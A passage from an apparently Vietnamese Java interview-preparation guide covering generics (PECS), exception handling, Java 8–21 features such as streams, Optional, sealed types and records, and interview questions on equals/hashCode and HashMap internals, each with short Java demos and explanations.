Giải thích: Chương trình in ra [1, 2, 3]. Nếu khai báo không có wildcard, copy(List<T> src, List<T> dest), thì lời gọi copy(ints, numbers) không biên dịch được: generic trong Java là invariant, List<Integer> không phải là List<Number> dù Integer là Number, nên không có T nào khớp cả hai tham số. (Nếu được coi là một, ta có thể add một Double vào list vốn chỉ chứa Integer.) Với wildcard, chẳng hạn T = Integer: src kiểu List<? extends Integer> chỉ cần đọc ra Integer, còn dest kiểu List<? super Integer> chấp nhận ghi Integer vào, nên List<Number> hợp lệ.
Với List<? extends Number> bạn không thể add (trừ null) vì trình biên dịch không biết list thật là List<Integer> hay List<Double>. Với List<? super Integer> bạn add được Integer, nhưng đọc ra chỉ nhận được Object. Bạn sẽ thấy PECS khắp JDK, ví dụ Collections.copy, Comparator<? super T> trong List.sort.
Lỗi PECS hay gặp nhất trong code dự án là viết tham số List<Number> rồi ngạc nhiên vì không truyền được List<Integer>. Đoạn code dưới đây ghi lại bản sai (trong comment, kèm thông báo lỗi) và bản sửa:
	import java.util.List;
 
public class PecsSumDemo {
    // BAD: static double sumBad(List<Number> xs) { ... }
    //      sumBad(ints) -> compile error: incompatible types:
    //      List<Integer> cannot be converted to List<Number>
    static double sum(List<? extends Number> xs) { // GOOD: xs only produces values -> extends
        double total = 0;
        for (Number n : xs) total += n.doubleValue();
        return total;
    }
 
    public static void main(String[] args) {
        List<Integer> ints = List.of(1, 2, 3);
        List<Double> prices = List.of(1.5, 2.5);
        System.out.println(sum(ints) + " " + sum(prices)); // prints: 6.0 4.0
    }
}



Giải thích: Chương trình in ra 6.0 4.0. Bản sumBad(List<Number>) từ chối List<Integer> vì generic là invariant. Vì sum chỉ đọc phần tử ra (producer), khai báo List<? extends Number> cho phép nhận list của bất kỳ kiểu con nào của Number, và mỗi phần tử đọc ra đều dùng được như Number. Đổi lại, trong sum không thể xs.add(...), điều hoàn toàn hợp lý với một hàm tính tổng.
1.7 Exception: thiết kế chứ không chỉ cú pháp
	NHẮC LẠI KIẾN THỨC
Ở N1.12: exception là object mô tả lỗi, được "ném" (throw) lên theo chuỗi lời gọi cho đến khi có khối catch bắt; finally chạy dù có lỗi hay không; stack trace là danh sách các method đang được gọi tại thời điểm lỗi, dùng để tìm dòng gây lỗi.



Throwable có hai nhánh: Error (lỗi mức JVM như OutOfMemoryError, StackOverflowError; không nên bắt để "xử lý") và Exception. Trong Exception, nhánh RuntimeException là unchecked, còn lại là checked (trình biên dịch buộc bạn catch hoặc khai báo throws).
Checked exception có ý tưởng tốt (buộc caller xử lý tình huống có thể phục hồi) nhưng trong thực tế gây nhiều phiền toái: không dùng được tự nhiên trong lambda/Stream, làm lộ chi tiết cài đặt qua chữ ký method. Vì vậy Spring gần như chỉ dùng unchecked exception (ví dụ bọc SQLException thành DataAccessException). Một chi tiết hay bị hỏi: mặc định @Transactional chỉ rollback với RuntimeException và Error, không rollback với checked exception trừ khi khai báo rollbackFor.
try-with-resources (Java 7) tự đóng mọi resource implement AutoCloseable, theo thứ tự ngược với lúc mở, kể cả khi có exception. Nếu cả khối try lẫn close() đều ném lỗi, lỗi của close() được gắn vào lỗi chính dưới dạng suppressed (getSuppressed()), không đè mất lỗi gốc như cách viết finally thủ công. Đoạn code dưới đây đếm số dòng của một file import: dùng try-with-resources để luôn đóng file, và chuyển checked IOException thành unchecked exception có giữ cause:
	import java.io.BufferedReader;
import java.io.IOException;
import java.io.UncheckedIOException;
import java.nio.file.Files;
import java.nio.file.Path;
 
public class ImportService {
    public static class InvalidImportFileException extends RuntimeException {
        public InvalidImportFileException(String message, Throwable cause) {
            super(message, cause); // always keep the cause so the original stack trace survives
        }
    }
 
    public long countLines(Path file) {
        try (BufferedReader reader = Files.newBufferedReader(file)) { // close() runs automatically when leaving try
            return reader.lines().count();
        } catch (IOException e) {
            throw new UncheckedIOException("Không đọc được file " + file, e); // checked -> unchecked, keep e as the cause
        }
    }
}



Giải thích: Khi file đọc được, method trả về số dòng và reader được đóng tự động khi rời khối try, không cần finally. Khi file không đọc được (không tồn tại, thiếu quyền), IOException (checked) bị bắt và ném lại dưới dạng UncheckedIOException kèm e làm cause. Nhờ vậy caller không bị buộc khai báo throws, method dùng được trong lambda/Stream, còn nguyên nhân gốc vẫn hiện ở dòng "Caused by: java.nio.file.NoSuchFileException..." trong log. InvalidImportFileException là mẫu custom exception nghiệp vụ: kế thừa RuntimeException và constructor luôn nhận cause. Nếu bọc lỗi mà không truyền cause, log chỉ còn dòng thông báo bên ngoài và bạn không biết file lỗi vì không tồn tại hay vì thiếu quyền.
Khái niệm suppressed exception nhắc ở trên dễ hiểu nhất khi chạy thử. Đoạn code dưới đây có một resource mà close() luôn ném lỗi, trong khi khối try cũng ném lỗi:
	public class SuppressedDemo {
    static class Res implements AutoCloseable {
        @Override
        public void close() {
            throw new IllegalStateException("close failed");
        }
    }
 
    public static void main(String[] args) {
        try (Res r = new Res()) {
            throw new RuntimeException("main failure");
        } catch (RuntimeException e) {
            System.out.println(e.getMessage());                    // prints: main failure
            System.out.println(e.getSuppressed()[0].getMessage()); // prints: close failed
        }
    }
}



Giải thích: Exception bắt được là lỗi gốc main failure, còn lỗi close failed không mất đi mà nằm trong mảng getSuppressed(). Nếu viết theo kiểu cũ với finally { r.close(); }, exception từ close() sẽ thay thế exception gốc, và log chỉ còn "close failed", đúng loại thông tin gây hiểu nhầm khi điều tra sự cố.
Khi nào tạo custom exception? Khi nó mang ý nghĩa nghiệp vụ mà tầng trên cần xử lý khác đi: InsufficientBalanceException được map thành HTTP 422 với mã lỗi riêng trong @RestControllerAdvice, còn lỗi hệ thống thành 500. Đừng tạo custom exception chỉ để đổi tên IllegalArgumentException.
Những điều khiến tôi trừ điểm khi đọc code:
1. catch (Exception e) {} hoặc chỉ e.printStackTrace(): nuốt lỗi, hệ thống chạy tiếp với trạng thái sai và không ai biết.
1. Log rồi ném lại ở mọi tầng: một lỗi in ra năm lần trong log. Quy tắc: hoặc xử lý (và log), hoặc ném lên, log một lần ở biên (global handler).
1. Bọc exception mà không truyền cause: mất stack trace gốc, debug production như mò kim đáy bể.
1. return trong finally: nuốt mất exception đang bay ra.
1. Bắt InterruptedException rồi bỏ qua: phải khôi phục cờ bằng Thread.currentThread().interrupt() (xem Chương 12).
Quy tắc "bọc exception thì phải giữ cause" được minh họa bằng cặp sai/sửa dưới đây, khi parse số lượng từ input người dùng:
	public class WrapCauseDemo {
    static int parseQty(String s) {
        try {
            return Integer.parseInt(s);
        } catch (NumberFormatException e) {
            // BAD: throw new IllegalArgumentException("Invalid quantity"); -> root cause lost
            throw new IllegalArgumentException("Invalid quantity: " + s, e); // GOOD: keep cause
        }
    }
 
    public static void main(String[] args) {
        try {
            parseQty("12a");
        } catch (IllegalArgumentException e) {
            System.out.println(e.getMessage() + " | cause: " + e.getCause().getClass().getSimpleName());
            // prints: Invalid quantity: 12a | cause: NumberFormatException
        }
    }
}



Giải thích: Bản sửa in ra Invalid quantity: 12a | cause: NumberFormatException, và stack trace đầy đủ sẽ có dòng "Caused by: java.lang.NumberFormatException: For input string: "12a"". Với bản sai, getCause() trả về null (dòng in trên sẽ ném NullPointerException), log chỉ còn "Invalid quantity" mà không biết giá trị nào, lỗi gì. Hai thay đổi nhỏ: đưa giá trị gây lỗi vào message và truyền e làm tham số cuối.
1.8 Java 8 đến 21: những gì bạn phải dùng được
	NHẮC LẠI KIẾN THỨC
Ở N1.15: lambda như x -> x * 2 là cách viết ngắn một hàm; functional interface là interface có đúng một method trừu tượng để lambda "lắp" vào; Stream là chuỗi thao tác xử lý dữ liệu (lọc, biến đổi, gom) trên collection mà không sửa collection gốc; Optional là "hộp" có thể chứa hoặc không chứa giá trị.



Nếu CV ghi Java 17/21 mà bạn chỉ dùng được lambda, người phỏng vấn sẽ nhận ra ngay. Dưới đây là những tính năng tôi kỳ vọng ứng viên 2–4 năm dùng thành thạo.
Lambda và functional interface
Functional interface có đúng một method trừu tượng (Function, Supplier, Consumer, Predicate...); lambda là cách viết ngắn một instance của nó. Lambda chỉ dùng được biến cục bộ effectively final vì nó capture giá trị, không capture biến. Lambda được tạo qua invokedynamic lúc runtime, không sinh file .class riêng lúc biên dịch như anonymous class.
Giải thích hai cụm từ trong đoạn trên. Effectively final là biến không khai báo final nhưng từ lúc gán đến hết phạm vi không bị gán lại lần nào; trình biên dịch coi nó như final. Lambda chỉ được đọc những biến như vậy vì nó có thể chạy muộn hơn, ở thread khác, sau khi method chứa biến đã kết thúc, nên Java chép giá trị vào lambda và cấm gán lại để bản chép không bao giờ lệch với biến gốc. invokedynamic (đã giới thiệu ở mục 1.3) cho phép lần đầu chạy tới lambda, JVM mới sinh class cài đặt functional interface trong bộ nhớ; nhờ vậy không có file Outer$1.class cho mỗi lambda và JVM tự do tối ưu (ví dụ lambda không capture biến nào thì dùng lại một instance duy nhất).
Đoạn code dưới đây là lỗi effectively final kinh điển khi cộng dồn trong forEach, và cách sửa:
	import java.util.List;
 
public class EffectivelyFinalDemo {
    public static void main(String[] args) {
        List<Integer> prices = List.of(100, 200, 300);
        // BAD: int total = 0;
        //      prices.forEach(p -> total += p);
        //      compile error: local variables referenced from a lambda expression
        //      must be final or effectively final
        int total = prices.stream().mapToInt(Integer::intValue).sum(); // GOOD: let the stream reduce
        System.out.println(total); // prints: 600
    }
}



Giải thích: Bản sai không biên dịch được vì total += p gán lại biến cục bộ bên trong lambda. Bản sửa để Stream tự cộng dồn và trả về kết quả, in ra 600. Một số người "lách" bằng mảng một phần tử int[] total = {0} hoặc AtomicInteger; cách đó biên dịch được nhưng che giấu side effect và sai khi chuyển sang parallel stream, nên chỉ dùng khi thật cần.
Stream: map, flatMap, lazy evaluation
1. map: một phần tử thành một phần tử. flatMap: một phần tử thành một stream rồi trải phẳng, ví dụ từ danh sách đơn hàng lấy ra toàn bộ dòng hàng.
1. Các thao tác trung gian (filter, map, sorted) là lazy: chỉ chạy khi có thao tác kết thúc (collect, count, findFirst). Dữ liệu chảy theo từng phần tử qua cả pipeline, nhờ vậy findFirst, anyMatch, limit có thể dừng sớm (short-circuit).
1. Một stream chỉ dùng được một lần.
Lazy evaluation (đánh giá lười) nghĩa là các bước filter, map chỉ được ghi lại chứ chưa chạy, giống viết sẵn công thức nấu ăn; chỉ khi có người gọi món (thao tác kết thúc) thì bếp mới nấu, và nấu từng đĩa một. Đoạn code dưới đây in log trong filter để thấy thứ tự thực thi:
	import java.util.List;
import java.util.stream.Stream;
 
public class LazyStreamDemo {
    public static void main(String[] args) {
        List<String> names = List.of("an", "binh", "cuong", "dung");
        Stream<String> pipeline = names.stream()
            .filter(n -> { System.out.println("filter " + n); return n.length() > 3; });
        System.out.println("pipeline built"); // nothing has been filtered yet
        String first = pipeline.findFirst().orElseThrow();
        System.out.println("result " + first);
        // prints: pipeline built | filter an | filter binh | result binh
    }
}



Giải thích: Dòng pipeline built in ra trước mọi dòng filter, chứng tỏ tạo pipeline không chạy gì cả. Khi findFirst() được gọi, phần tử an đi qua filter (không đạt), rồi binh (đạt) và stream dừng ngay; cuong và dung không bao giờ được xét. Đó là short-circuit. Hệ quả thực tế: đặt filter rẻ và loại nhiều phần tử lên trước map đắt; và đừng đặt logic quan trọng trong peek vì nếu không có thao tác kết thúc, nó không bao giờ chạy.
Đoạn code dưới đây tính tổng số lượng bán ra theo từng SKU trên toàn bộ đơn hàng. Mỗi đơn có nhiều dòng hàng, nên cần flatMap để trải phẳng trước khi gom nhóm:
	import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
 
public class StreamDemo {
    record OrderLine(String sku, int qty) {}
    record Order(String id, String customer, List<OrderLine> lines) {}
 
    public static void main(String[] args) {
        List<Order> orders = List.of(
            new Order("O1", "an", List.of(new OrderLine("A", 2), new OrderLine("B", 1))),
            new Order("O2", "binh", List.of(new OrderLine("A", 5))));
 
        Map<String, Integer> qtyBySku = orders.stream()
            .flatMap(o -> o.lines().stream())             // Stream<OrderLine>
            .collect(Collectors.groupingBy(OrderLine::sku,
                     Collectors.summingInt(OrderLine::qty)));
 
        List<String> ids = orders.stream().map(Order::id).toList(); // Java 16+
        System.out.println(qtyBySku + " " + ids); // prints: {A=7, B=1} [O1, O2]
    }
}



Giải thích: Chương trình in ra {A=7, B=1} [O1, O2] (thứ tự key của HashMap không được đảm bảo). Nếu dùng map(o -> o.lines()) ta chỉ được Stream<List<OrderLine>>, mỗi phần tử là cả một list; flatMap trải ba dòng hàng (A×2, B×1, A×5) thành một Stream<OrderLine> duy nhất. groupingBy(OrderLine::sku, summingInt(OrderLine::qty)) gom theo SKU và cộng số lượng: A = 2 + 5 = 7, B = 1. Pipeline chỉ thực sự chạy khi gặp thao tác kết thúc collect/toList, đúng tinh thần lazy evaluation ở trên.
Một số bẫy hay gặp: Stream.toList() (Java 16) trả về list không sửa được, trong khi Collectors.toList() hiện trả về ArrayList nhưng không cam kết điều đó; Collectors.toMap ném IllegalStateException khi trùng key nếu bạn không truyền hàm merge.
Bẫy toMap rất hay gây lỗi production vì dữ liệu test thường không có trùng lặp. Đoạn code dưới đây dựng map từ email sang tên người dùng, trong khi danh sách có hai bản ghi cùng email:
	import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
 
public class ToMapDemo {
    record User(String email, String name) {}
 
    public static void main(String[] args) {
        List<User> users = List.of(new User("a@x.com", "An"), new User("a@x.com", "An Nguyen"));
        // BAD: users.stream().collect(Collectors.toMap(User::email, User::name));
        //  -> IllegalStateException: Duplicate key a@x.com (attempted merging values An and An Nguyen)
        Map<String, String> byEmail = users.stream()
            .collect(Collectors.toMap(User::email, User::name, (first, second) -> second)); // GOOD: keep latest
        System.out.println(byEmail); // prints: {a@x.com=An Nguyen}
    }
}



Giải thích: Bản sai ném IllegalStateException ngay khi gặp email thứ hai. Tham số thứ ba là merge function: nhận hai value trùng key và trả về value được giữ lại, ở đây chọn bản sau nên in ra {a@x.com=An Nguyen}. Chọn giữ bản nào là quyết định nghiệp vụ; nếu trùng key thực sự là dữ liệu hỏng thì cứ để exception nổ nhưng log rõ, còn nếu một key có nhiều giá trị hợp lệ thì dùng groupingBy thay vì toMap.
Parallel stream chạy trên ForkJoinPool.commonPool(), dùng chung toàn JVM, số thread mặc định bằng số core trừ một. Chi tiết khi nào không nên dùng nằm ở câu hỏi phỏng vấn cuối chương.
Optional: dùng đúng chỗ
Optional được thiết kế làm kiểu trả về cho method có thể không có kết quả, như findById. Không nên dùng làm field của entity/DTO (không Serializable, tốn bộ nhớ), không dùng làm tham số method, không bọc collection (trả về list rỗng thay vì Optional<List>). Đoạn code dưới đây có một Optional đã chứa giá trị "an", và so sánh orElse với orElseGet khi giá trị mặc định phải lấy từ một method tốn kém:
	import java.util.Optional;
 
public class OptionalDemo {
    static String loadDefaultName() {
        System.out.println("gọi DB lấy tên mặc định...");
        return "guest";
    }
 
    public static void main(String[] args) {
        Optional<String> name = Optional.of("an");
        String a = name.orElse(loadDefaultName());          // STILL calls loadDefaultName()
        String b = name.orElseGet(OptionalDemo::loadDefaultName); // called only when empty
        String c = name.map(String::toUpperCase).orElseThrow(); // throws NoSuchElementException if empty
        System.out.println(a + " " + b + " " + c); // prints: an an AN
    }
}



Giải thích: Chương trình in dòng "gọi DB lấy tên mặc định..." một lần rồi mới in an an AN. Dòng đó đến từ orElse: dù Optional có giá trị và kết quả cuối cùng vẫn là "an", loadDefaultName() vẫn bị gọi. Lý do là orElse(x) luôn tính x trước khi gọi (vì Java tính giá trị mọi đối số trước khi gọi method), nên nếu x là lời gọi tốn kém hoặc có side effect, hãy dùng orElseGet: nó nhận một Supplier và chỉ gọi Supplier khi Optional rỗng, vì vậy dòng b ở trên không in thêm gì. Và optional.get() không kiểm tra thì chẳng khác gì dùng null; hãy dùng orElseThrow() để ý đồ rõ ràng.
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Ba khái niệm cần hiểu bằng lời thường trước khi đọc ví dụ. Sealed (niêm phong) là khi interface hoặc class tự liệt kê danh sách class con được phép; không ai khác implement được, giống danh sách khách mời đóng. Pattern matching là cú pháp vừa kiểm tra kiểu vừa ép kiểu vừa đặt tên biến trong một bước. Exhaustive (đầy đủ) là switch đã xử lý mọi khả năng có thể xảy ra, và trình biên dịch kiểm chứng được điều đó chỉ khi biết trước danh sách khả năng, tức là nhờ sealed hoặc enum. Đoạn code dưới đây so sánh instanceof kiểu cũ và kiểu pattern matching (Java 16):
	public class InstanceofPatternDemo {
    static String describe(Object o) {
        // Old style: test, then cast by hand
        // if (o instanceof String) { String s = (String) o; return "text of length " + s.length(); }
        if (o instanceof String s && !s.isEmpty()) { // test + cast + bind in one step
            return "text of length " + s.length();
        }
        if (o instanceof Integer i) {
            return "number " + (i + 1);
        }
        return "unknown";
    }
 
    public static void main(String[] args) {
        System.out.println(describe("java") + ", " + describe(41) + ", " + describe(3.5));
        // prints: text of length 4, number 42, unknown
    }
}



Giải thích: o instanceof String s chỉ đúng khi o là String, và khi đúng thì biến s đã có kiểu String, dùng ngay được trong cùng điều kiện (!s.isEmpty()) và trong thân if. Bản cũ phải viết tên kiểu hai lần và ép kiểu tay, dễ sai khi copy-paste. 3.5 là Double nên rơi xuống unknown.
Sức mạnh thật sự đến khi kết hợp sealed + record + switch pattern: trình biên dịch biết mọi trường hợp con, nên switch không cần default, và khi thêm một loại mới, mọi switch chưa xử lý sẽ báo lỗi biên dịch, thay vì lọt xuống nhánh default và sinh bug lúc chạy. Đoạn code dưới đây tính phí cho ba loại thanh toán được phép (thẻ, chuyển khoản, ví điện tử), và dùng thêm text block cho câu SQL:
	public class PaymentFee {
    sealed interface Payment permits Card, BankTransfer, Wallet {}
    record Card(long amount, boolean international) implements Payment {}
    record BankTransfer(long amount) implements Payment {}
    record Wallet(long amount, String provider) implements Payment {}
 
    static long fee(Payment p) {
        return switch (p) {
            case Card c when c.international() -> c.amount() * 3 / 100; // guard: international card 3%
            case Card c -> c.amount() * 15 / 1000;                       // domestic card 1.5%
            case BankTransfer(long amount) -> Math.min(amount / 1000, 10_000); // record pattern
            case Wallet w -> 0;
        }; // no default needed: the compiler knows every case is covered
    }
 
    public static void main(String[] args) {
        var sql = """
            SELECT id, amount FROM payments
            WHERE status = 'PENDING'
            """;
        System.out.println(fee(new Card(1_000_000, true)) + "\n" + sql); // prints: 30000, then the SQL
    }
}



Giải thích: Chương trình in ra 30000 (1.000.000 × 3% cho thẻ quốc tế), sau đó là câu SQL.
1. sealed ... permits Card, BankTransfer, Wallet khai báo đúng ba loại con được phép, nên switch liệt kê đủ ba loại là exhaustive và không cần default.
1. case Card c when ... là guard: thẻ quốc tế tính 3%, thẻ còn lại rơi xuống case sau với 1,5%. Thứ tự case quan trọng: đặt case Card c lên trước thì case có when phía sau bị trình biên dịch báo lỗi vì không bao giờ tới được (dominated).
1. BankTransfer(long amount) là record pattern: bóc field amount ra biến ngay trong case, không cần gọi accessor.
1. Nếu thêm record Crypto(long amount) implements Payment vào permits mà chưa sửa fee, code không biên dịch được vì switch chưa bao quát hết; với default thì lỗi này sẽ trôi xuống runtime.
1. Text block """ giữ nguyên xuống dòng và tự cắt phần thụt lề chung, nên viết SQL/JSON nhiều dòng không cần + và \n.
Record là bất biến nông: field là final, nhưng nếu field là List thì nội dung list vẫn sửa được. Hãy sao chép phòng thủ trong compact constructor, ví dụ items = List.copyOf(items);. Record rất hợp làm DTO, value object, key của Map; không dùng làm JPA entity vì entity cần constructor không tham số và trạng thái thay đổi được.
Đoạn code dưới đây cho thấy "bất biến nông" nghĩa là gì, và bản sửa bằng compact constructor:
	import java.util.ArrayList;
import java.util.List;
 
public class RecordCopyDemo {
    record CartBad(List<String> items) {}           // BAD: stores the caller's list as-is
 
    record Cart(List<String> items) {
        Cart {
            items = List.copyOf(items);             // GOOD: unmodifiable defensive copy
        }
    }
 
    public static void main(String[] args) {
        List<String> src = new ArrayList<>(List.of("book"));
        CartBad bad = new CartBad(src);
        Cart good = new Cart(src);
        src.add("pen");                              // caller mutates the original list
        System.out.println(bad.items() + " " + good.items()); // prints: [book, pen] [book]
    }
}



Giải thích: CartBad in ra [book, pen]: field items là final nên không trỏ sang list khác được, nhưng nó trỏ chung list với src, nên khi caller thêm "pen" thì record "bất biến" cũng đổi theo. Cart in ra [book] vì compact constructor đã chép sang một list riêng không sửa được; gọi good.items().add(...) sẽ ném UnsupportedOperationException. List.copyOf còn từ chối phần tử null, một lợi ích phụ khi làm value object.
Về var: dùng khi kiểu đã hiển nhiên ở vế phải, tránh khi làm mất thông tin (var result = service.process()). Java 21 còn thêm Sequenced Collections: getFirst(), getLast(), reversed() cho List, Deque, LinkedHashSet, và firstEntry(), lastEntry() cho LinkedHashMap.
1.9 Câu hỏi phỏng vấn thường gặp
Câu hỏi được nhóm theo chủ đề: OOP, equals/hashCode, HashMap, String, pass-by-value, Collections (iterator, List), Generics, Exception, rồi Java 8–21. Nhãn trong ngoặc cho biết mức độ: Cơ bản (phải trả lời trôi chảy), Hiểu sâu (hỏi cơ chế, so sánh), Thực chiến (tình huống dự án, tìm lỗi), Đọc code (đoán output hoặc lỗi trước khi xem đáp án).
Câu hỏi (Hiểu sâu): Khi nào bạn dùng kế thừa, khi nào dùng composition?
Tôi mặc định dùng composition, vì nó chỉ phụ thuộc vào API công khai và thay thế được lúc runtime (inject implementation khác, mock khi test). Kế thừa chỉ dùng khi quan hệ thật sự là "is-a" và class cha được thiết kế để mở rộng.
1. Ví dụ lỗi của kế thừa: override add và addAll của HashSet để đếm, kết quả đếm gấp đôi vì addAll gọi lại add.
1. Trong dự án: tôi từng thay một cây BaseService ba tầng bằng các component nhỏ inject vào service (validator, mapper, notifier), test dễ hơn nhiều.
	CÂU HỎI ĐÀO SÂU
"Vậy Liskov Substitution liên quan gì?" — Nếu class con không thể thay thế class cha mà giữ đúng hành vi (ví dụ override method để ném UnsupportedOperationException), đó là dấu hiệu kế thừa sai và nên chuyển sang composition hoặc tách interface.



Câu hỏi (Cơ bản): Fragile base class là gì? Cho ví dụ.
Ý chính: là khi class con hỏng vì class cha đổi cách cài đặt bên trong, dù API công khai không đổi và không ai sửa class con.
Ví dụ kinh điển là CountingSet extends HashSet override cả add và addAll để đếm: vì HashSet.addAll gọi lại add, mỗi phần tử bị đếm hai lần (thêm 3 phần tử, đếm ra 6). Class con đã vô tình phụ thuộc vào việc "addAll có gọi add hay không", một chi tiết mà tài liệu không hứa giữ nguyên. Cách phòng tránh: dùng composition (chứa một Set và delegate), hoặc nếu bạn viết class cha thì hoặc đánh dấu final, hoặc ghi rõ trong Javadoc method nào gọi method nào để class con biết.
Câu hỏi (Cơ bản): Sau Java 8, interface và abstract class còn khác nhau ở đâu?
Ý chính: interface không giữ trạng thái (không field instance, không constructor) và một class implement được nhiều interface; abstract class có trạng thái nhưng chỉ kế thừa được một.
1. Interface có default, static (Java 8) và private method (Java 9), nhưng field chỉ là hằng public static final.
1. Abstract class có field, constructor, method với mọi access modifier; phù hợp làm khung chung (template method) có trạng thái.
1. Chọn theo câu hỏi: "tôi cần chia sẻ trạng thái và logic khởi tạo không?" Có thì abstract class, không thì interface.
	BẪY THƯỜNG GẶP
Trả lời "interface chỉ có method trừu tượng". Câu này sai từ Java 8 và cho người phỏng vấn thấy bạn học từ tài liệu cũ. Ví dụ phản chứng có sẵn trong JDK: Collection.stream() và Comparator.reversed() đều là default method.



Câu hỏi (Đọc code): Đoạn code dưới đây biên dịch được không? Nếu được thì in ra gì?
	public class DiamondDemo {
    interface Logger { default String name() { return "Logger"; } }
    interface Auditor { default String name() { return "Auditor"; } }
 
    static class Service implements Logger, Auditor {
        @Override
        public String name() {
            return Logger.super.name() + "+" + Auditor.super.name();
        }
    }
 
    public static void main(String[] args) {
        System.out.println(new Service().name());
    }
}



Đáp án: Biên dịch được và in ra Logger+Auditor.
1. Service nhận hai default method cùng chữ ký name() từ hai interface không liên quan, nên Java bắt buộc override; nếu xóa method name() trong Service, trình biên dịch báo "types Logger and Auditor are incompatible; class Service inherits unrelated defaults for name()".
1. Cú pháp Logger.super.name() gọi đúng bản default của interface Logger; đây là cách duy nhất để gọi default method của một interface cụ thể.
1. Nếu Service kế thừa một class có method name(), method của class sẽ thắng và không còn xung đột (quy tắc "class thắng interface").
Câu hỏi (Cơ bản): Chuyện gì xảy ra nếu override equals() mà không override hashCode()?
Hai object bằng nhau theo equals có hashCode khác nhau (theo identity), nên rơi vào hai bucket khác nhau trong HashMap/HashSet. Kết quả: Set chứa phần tử trùng, map.get() với key "giống hệt" trả về null, contains() trả false.
1. Cách sửa: hashCode dùng đúng các field mà equals dùng; tốt nhất dùng record hoặc Objects.hash(...).
1. Key của HashMap nên bất biến; nếu sửa field tham gia hashCode sau khi put, entry bị "lạc" và không xóa được.
	CÂU HỎI ĐÀO SÂU
"Với JPA entity thì viết equals/hashCode thế nào?" — Không dùng tất cả field (lazy collection có thể bị load, gây vòng lặp). Thường so sánh theo id khi id khác null và trả về hashCode cố định theo class, để hashCode không đổi trước và sau khi persist.



Câu hỏi (Hiểu sâu): Nếu hashCode() luôn trả về cùng một số (ví dụ 42) thì chương trình có sai không?
Ý chính: không sai về kết quả, vì hợp đồng vẫn được giữ (object bằng nhau thì hashCode bằng nhau), nhưng hiệu năng sụp đổ vì mọi key dồn vào một bucket.
Mọi get/put phải duyệt hết danh sách trong bucket đó và gọi equals từng node, từ O(1) thành O(n). Từ Java 8, khi bucket vượt 8 node (và capacity từ 64) thì treeify thành cây, còn O(log n), nhưng vẫn chậm hơn nhiều và tốn gấp đôi bộ nhớ node. Câu này kiểm tra bạn có phân biệt được đúng (hợp đồng) và tốt (phân bố đều) không.
	CÂU HỎI ĐÀO SÂU
"Vậy hashCode tốt là thế nào?" — Dùng đúng các field của equals, phân bố đều, rẻ để tính và không đổi khi object nằm trong collection. Thực tế cứ dùng Objects.hash(...) hoặc record, không cần tự nghĩ công thức nhân 31.



Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
 
public class MutableKeyDemo {
    static class Sku {
        String code;
        Sku(String code) { this.code = code; }
        @Override public boolean equals(Object o) { return o instanceof Sku s && s.code.equals(code); }
        @Override public int hashCode() { return Objects.hash(code); }
    }
 
    public static void main(String[] args) {
        Map<Sku, Integer> stock = new HashMap<>();
        Sku key = new Sku("A1");
        stock.put(key, 10);
        key.code = "B2";
        System.out.println(stock.get(key) + " " + stock.get(new Sku("A1")) + " " + stock.size());
    }
}



Đáp án: In ra null null 1. Entry vẫn nằm trong map nhưng không ai tìm thấy.
1. Lúc put, entry được đặt vào bucket tính từ hash của "A1" và node lưu lại giá trị hash đó.
1. stock.get(key): key giờ có code "B2", hash mới khác, nên HashMap tìm ở bucket khác (hoặc cùng bucket nhưng hash lưu trong node không khớp), trả về null.
1. stock.get(new Sku("A1")): tìm đúng bucket cũ, hash khớp, nhưng equals so "A1" với code hiện tại "B2" của key trong map, không khớp, trả về null.
1. size() vẫn là 1: entry "lạc" chiếm bộ nhớ mãi mãi. Cách sửa: key phải bất biến, ví dụ record Sku(String code).
Câu hỏi (Thực chiến): Sau khi save() một entity JPA, set.contains(entity) bỗng trả về false. Vì sao và sửa thế nào?
Ý chính: hashCode của entity được tính từ id, mà id đổi từ null sang giá trị thật khi persist, nên entity "lạc bucket" y như ví dụ key mutable.
Tình huống điển hình: bạn thêm các OrderItem mới (chưa có id) vào Set<OrderItem>, rồi lưu xuống DB. Hibernate gán id, hashCode đổi, contains/remove trên set đó không còn thấy phần tử. Đây là chỗ kiến thức equals/hashCode (mục 1.2) nối với cách JPA sinh id (Chương 6).
1. Cách sửa phổ biến: equals so sánh theo id khi id khác null (và cùng class), còn hashCode trả về một giá trị cố định theo class, ví dụ getClass().hashCode(), để không đổi trước và sau khi persist.
1. Hoặc dùng business key bất biến có ngay từ lúc tạo (mã đơn hàng, UUID do ứng dụng sinh).
1. Không dùng @Data của Lombok cho entity: nó sinh equals/hashCode trên mọi field, kể cả collection lazy, gây load ngoài ý muốn và vòng lặp vô hạn khi hai entity tham chiếu nhau.
	CÂU HỎI ĐÀO SÂU
"hashCode cố định thì mọi entity cùng một bucket, có chậm không?" — Có, nhưng set entity trong một aggregate thường chỉ vài chục phần tử nên không đáng kể; đổi lại tính đúng được đảm bảo. Nếu cần set lớn thì dùng UUID sinh sẵn làm business key.



Câu hỏi (Hiểu sâu): Giải thích HashMap hoạt động bên trong.
Trả lời theo đúng luồng put: trộn hash h ^ (h >>> 16), tính index = hash & (n - 1), bucket trống thì đặt node, có rồi thì so hash và equals để ghi đè hoặc nối cuối. Bucket vượt 8 node và capacity từ 64 thì thành cây đỏ đen, chưa đủ 64 thì resize. Vượt 0.75 capacity thì nhân đôi mảng. Sau đó chủ động nói hệ quả: key phải bất biến, nên khởi tạo capacity khi biết trước kích thước, không thread-safe.
	CÂU HỎI ĐÀO SÂU
"Vì sao capacity phải là lũy thừa của 2?" — Để hash & (n - 1) thay được phép chia lấy dư và để khi resize mỗi node chỉ cần xét một bit để biết giữ nguyên index hay chuyển sang index + oldCap. "Vì sao không treeify ngay từ đầu?" — Node cây tốn gấp đôi bộ nhớ; với hashCode tốt, xác suất một bucket có 8 node là cực nhỏ.



Câu hỏi (Cơ bản): Load factor là gì? Vì sao mặc định là 0.75?
Ý chính: load factor là ngưỡng "đầy" mà vượt qua thì HashMap nhân đôi mảng; 0.75 là điểm cân bằng giữa bộ nhớ và tốc độ.
Với capacity 16 và load factor 0.75, ngưỡng là 12: phần tử thứ 13 kích hoạt resize lên 32. Load factor thấp (0.5) thì ít collision nhưng nửa mảng bỏ trống; cao (1.0) thì tiết kiệm bộ nhớ nhưng collision nhiều hơn, tra cứu chậm đi. Hầu như không có lý do đổi giá trị này; điều bạn nên chỉnh là capacity ban đầu khi biết trước kích thước.
